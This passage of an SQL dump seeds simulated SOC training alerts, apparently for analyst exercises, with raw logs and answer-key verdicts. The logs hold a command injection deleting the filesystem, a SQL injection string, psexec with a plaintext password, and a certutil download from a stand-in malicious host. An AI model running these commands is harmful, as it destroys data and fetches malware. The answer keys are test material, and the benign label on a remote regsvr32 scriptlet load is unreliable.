3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1743, 'Lazarus Group Phishing Attempt with Malicious URL', 'high', 'MISP', 'Phishing email from a known Lazarus Group domain containing a malicious URL targeting internal users.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T07:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.200.15\",\"email_sender\":\"alert@secure-mail.com\",\"username\":\"john.doe@company.com\",\"hostname\":\"MAIL-SERVER-01\",\"url\":\"http://malicious-site.com/login\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"alert@secure-mail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain mimics legitimate services\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL identified as phishing site\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Email with malicious URL targeting users, typical tactic of Lazarus Group.\"}', 'Advanced', 'TI', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1744, 'Fancy Bear Command Injection via Web Application', 'critical', 'Recorded Future', 'Detected command injection attempt from external IP using vulnerable web application endpoint.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:15:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.25\",\"dst_ip\":\"192.168.250.10\",\"hostname\":\"WEB-SERVER-01\",\"request_body\":\"id=1; rm -rf /\",\"url\":\"http://target-site.com/vulnerable-endpoint\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple web-based attacks\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://target-site.com/vulnerable-endpoint\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Endpoint known to be vulnerable\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"id=1; rm -rf /\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Command injection attempt to compromise web server, typical Fancy Bear tactic.\"}', 'Advanced', 'TI', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1745, 'Cozy Bear Credential Harvesting via Spear-Phishing', 'high', 'Anomali', 'Spear-phishing email detected with a link to a credential harvesting site impersonating internal IT department.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.30\",\"email_sender\":\"it-support@company-fake.com\",\"username\":\"alice.smith@company.com\",\"hostname\":\"MAIL-SERVER-02\",\"url\":\"https://fake-it-support.com/login\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"it-support@company-fake.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain closely resembles legitimate company domain\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://fake-it-support.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts a credential harvesting page\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Spear-phishing attempt with a spoofed IT email targeting user credentials.\"}', 'Advanced', 'TI', 7, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1746, 'APT29 Supply Chain Attack Using Certutil', 'critical', 'Recorded Future', 'APT29 suspected to be using certutil for downloading malicious payloads within supply chain compromise.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:05:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"hostname\":\"SUPPLY-CHAIN-SERVER-01\",\"command_line\":\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\temp\\\\payload.exe\",\"file_hash\":\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\temp\\\\payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Certutil command used for downloading malware\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-server.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts malware payload\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT29 leveraging certutil to download and execute malware, indicating a supply chain attack.\"}', 'Advanced', 'TI', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1747, 'Suspicious PowerShell Execution with Encoded Commands', 'medium', 'Anomali', 'Detected PowerShell process executing encoded commands, possibly benign administrative activity.', 'Suspicious Activity', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.10\",\"hostname\":\"ADMIN-PC-01\",\"command_line\":\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing PowerShell\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encoded PowerShell command indicative of admin activity\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"Encoded PowerShell commands are often used by administrators for scripting, no malicious intent found.\"}', 'Advanced', 'TI', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.157Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.10.10\\\",\\\"hostname\\\":\\\"ADMIN-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1748, 'Regsvr32 Execution Detected, Suspicious but Benign', 'low', 'MISP', 'Regsvr32 used to load a DLL from an internal source, typical of software updates or internal maintenance.', 'Suspicious Activity', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.50.25\",\"hostname\":\"MAINTENANCE-PC-01\",\"command_line\":\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.50.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing regsvr32\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"regsvr32 /s /n /u /i:http://internal-server.com/update.dll scrobj.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Regsvr32 command used for legitimate software update\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://internal-server.com/update.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"clean\",\"details\":\"Internal URL used for software updates\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"Regsvr32 detected from internal source, consistent with legitimate software update processes.\"}', 'Advanced', 'TI', 7, 1, 'RETAIL', 